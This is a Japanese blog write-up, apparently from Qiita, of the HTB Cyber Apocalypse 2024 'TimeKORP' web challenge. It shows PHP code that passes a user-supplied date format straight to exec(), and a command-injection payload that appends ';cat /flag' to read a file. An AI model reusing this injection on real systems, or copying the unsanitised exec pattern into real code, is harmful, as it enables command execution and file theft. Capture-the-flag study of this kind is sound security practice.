1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【HTB Cyber Apocalypse 2024】:Web -TimeKORP-Writeup

Posted at

問題概要

Are you ready to unravel the mysteries and expose the truth hidden within KROP's digital domain? Join the challenge and prove your prowess in the world of cybersecurity. Remember, time is money, but in this case, the rewards may be far greater than you imagine.

KROPのデジタル領域に隠された謎を解き明かし、真実を明らかにする準備はできていますか? チャレンジに参加して、サイバーセキュリティの世界で自分の実力を証明してください。 時は金なりであることを覚えておいてください。しかし、この場合、あなたが想像しているよりもはるかに大きな報酬が得られる可能性があります。

サイトを閲覧すると、時間や日付が表示されるサイトになっていることが確認できる。

first_screen.png

解法

ダウンロードされたファイルを確認すると、PHPのexecを使用して、引数に渡されたフォーマットで日付を表示していることが分かる。

TimeController.php
<?php
class TimeController
{
    public function index($router)
    {
        $format = isset($_GET['format']) ? $_GET['format'] : '%H:%M:%S';
        $time = new TimeModel($format);
        return $router->view('index', ['time' => $time->getTime()]);
    }
}
TimeModel.php
<?php
class TimeModel
{
    public function __construct($format)
    {
        $this->command = "date '+" . $format . "' 2>&1";
    }

    public function getTime()
    {
        $time = exec($this->command);
        $res  = isset($time) ? $time : '?';
        return $res;
    }
}

execで任意のコマンドが実行できるので、%Y';cat /flag'この値をURL Decodeしてformatに渡す。

?format=%Y%27;cat%20/flag%27

そうするとPHP側でdate '+Y';cat /flag '' 2>&1となり、フラグ取得が可能。

flag.png

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?